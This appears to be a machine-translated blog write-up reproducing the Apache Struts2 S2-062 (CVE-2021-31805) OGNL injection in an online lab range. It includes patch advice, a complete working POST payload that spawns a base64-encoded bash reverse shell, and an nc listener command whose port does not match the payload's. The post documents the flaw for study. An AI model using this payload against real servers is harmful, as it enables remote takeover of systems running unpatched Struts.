当前位置:网站首页>S2-062 remote command execution vulnerability recurrence (cve-2021-31805)
S2-062 remote command execution vulnerability recurrence (cve-2021-31805)
2022-04-23 12:15:00 【MH cloud】
Preface
Cough , This loophole has been out for a few days , I haven't had time lately , Add a class today to write !
One 、 Vulnerability description
Apache Struts2 It's based on MVC The popularity of design patterns Web Application framework .
Apache Struts2 Issue safety bulletins (S2-062), Repair the Apache Struts2 A Remote Code Execution Vulnerability in (CVE-2021-31805).
Due to CVE-2020-17530 The repair of is incomplete , stay Apache Struts 2.0.0-2.5.29 in , If developers use %{...} Syntax application force OGNL analysis , Some attributes of the tag can still be parsed twice . Parsing raw user input in tag properties that is not validated may result in remote code execution .
Two 、 scope
Apache Struts 2.0.0-2.5.29
3、 ... and 、 Repair suggestions
At present, this vulnerability has been fixed , It is recommended that the affected users upgrade to Apache Struts 2.5.30 Or later .
Download link :https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
Mitigation measures : Avoid using force on untrusted or unauthenticated user input OGNL analysis .
Four 、 Loophole recurrence
Recurrence environment :Vulfocus Vulnerability threat analysis platform Online range , This shooting range is still good
1. Visit the home page according to the vulnerability prompt
2. Packet capture home page
3. structure payload, The change request method is post,
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))
4. Rebound shell The order of base64 Encoding and processing url code
6.URL encryption
7. Replace the bp Inside
8. Prepare a server to listen
nc -vvlp 7777
9.bp Click send bounce shell
At this point, the whole loophole will reappear
Don't spray today !!
My idea : The food should also be reasonable !!
MHcloud A small dish chicken full of longing for network security
版权声明
本文为[MH cloud]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231210454291.html
边栏推荐
- 第四章 为IM 启用填充对象之启用和禁用表空间的IM列存储(IM 4.5)
- VMware虚拟机使用esxi 导出硬盘vmdk文件
- 面了一圈,整理了这套面试题。。
- On using go language to create websocket service
- In idea Solution to the problem of garbled code in Chinese display of properties file
- 为什么hash%length==hash&(length-1)的前提是 length 是 2 的 n 次方
- Lesson 24 analysis of classical problems
- 亿级流量架构,服务器如何扩容?写得太好了!
- A detailed explanation of head pose estimation [collection of good articles]
- 第四章 为IM 启用填充对象之在NO INMEMORY表上指定INMEMORY列属性:示例(IM-4.4 第四部分)
猜你喜欢
Resolution due to AMD not found_ ags_ x64. DLL, unable to continue code execution. Reinstallation of the program may solve this problem, Forza horizon 5
电脑系统卡如何解决?
Use kettle to copy records to and get records from results
1.Electron开发环境搭建
5个免费音频素材网站,建议收藏
远程桌面之终端服务器超出了最大允许连接数解决
Outsourcing for five years, abandoned
科创人·派拉软件CEO谭翔:零信任本质是数字安全,To B也要深研用户心智
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
宝塔面板命令行帮助教程(包含重置密码)
随机推荐
IDEA 数据库插件Database Navigator 插件
数组---
如果你是一个Golang面试官,你会问哪些问题?
第四章 为IM 启用填充对象之为IM列存储启用ADO(IM 4.8)
The fourth chapter is to enable the filling object of IM and enable ADO for im column storage (IM 4.8)
Xinwangda announced that the price of battery products had been increased, and the investment of "weixiaoli" exceeded 1 billion
面了一圈,整理了这套面试题。。
IDEA 代码质量规范插件SonarLint
AI video cloud vs narrowband HD, who is the darling of the video era
科创人·派拉软件CEO谭翔:零信任本质是数字安全,To B也要深研用户心智
C# F23.StringSimilarity库 字符串重复度、文本相似度、防抄袭
How Im expressions work (5.3)
IFLYTEK's revenue in 2021 was 18.3 billion yuan: a year-on-year increase of 41% and a net profit of 1.556 billion yuan
2022 love analysis · panoramic report of industrial Internet manufacturers
1.Electron开发环境搭建
Worder font page font comparison table
How to expand the capacity of the server in the 100 million level traffic architecture? Well written!
力扣-1137.第N个泰波那契数
Share two practical shell scripts
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》